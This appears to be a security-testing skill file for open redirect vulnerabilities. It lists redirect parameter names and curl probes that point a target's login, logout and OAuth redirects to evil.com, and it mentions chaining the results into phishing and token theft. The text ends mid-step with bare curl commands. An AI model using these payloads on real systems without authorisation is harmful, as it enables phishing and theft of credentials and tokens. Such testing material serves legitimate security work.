testing-for-open-redirect-vulnerabilities

name	testing-for-open-redirect-vulnerabilities
description	Identifies and exploits open redirect vulnerabilities by analyzing URL redirection parameters (next, url, redirect, return, goto), applying bypass techniques, and chaining findings into phishing or token-theft exploits, using Burp Suite/OWASP ZAP and Burp Collaborator. Use when testing login/logout flows, OAuth redirect_uri handling, or SSO redirect validation.
domain	cybersecurity
subdomain	web-application-security
tags	["open-redirect","url-redirect","phishing","owasp","url-validation","redirect-bypass","unvalidated-redirect"]
version	1.0
author	mahipal
license	Apache-2.0
nist_csf	["PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01"]
mitre_attack	["T1190","T1059.007","T1505.003","T1083","T1566"]

Testing for Open Redirect Vulnerabilities

When to Use

• When testing login/logout flows that redirect users to specified URLs
• During assessment of OAuth authorization endpoints with redirect_uri parameters
• When auditing applications with URL parameters (next, url, redirect, return, goto, target)
• During phishing simulation to chain open redirects with credential harvesting
• When testing SSO implementations for redirect validation weaknesses

Prerequisites

• Burp Suite or OWASP ZAP for intercepting redirect requests
• Collection of open redirect bypass payloads
• External domain or Burp Collaborator for redirect confirmation
• Understanding of URL parsing and encoding schemes
• Browser with developer tools for observing redirect chains
• Knowledge of HTTP 301/302/303/307/308 redirect status codes

Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.

Workflow

Step 1 — Identify Redirect Parameters

# Common redirect parameter names to test:
# ?url= ?redirect= ?next= ?return= ?returnUrl= ?goto= ?target=
# ?dest= ?destination= ?redir= ?redirect_uri= ?continue= ?view=

# Search for redirect parameters in the application
# Use Burp Suite to crawl and identify all parameters

# Test basic redirect
curl -v "http://target.com/login?next=https://evil.com"
curl -v "http://target.com/logout?redirect=https://evil.com"
curl -v "http://target.com/oauth/authorize?redirect_uri=https://evil.com"

Step 2 — Test Basic Open Redirect Payloads

# Direct external URL
curl -v "http://target.com/redirect?url=https://evil.com"

# Protocol-relative URL
curl -v "http://target.com/redirect?url=//evil.com"

# URL with @ symbol (userinfo abuse)
curl -v "http://target.com/redirect?url=https://[e-mail]"

# Backslash-based redirect
curl -v 


curl -v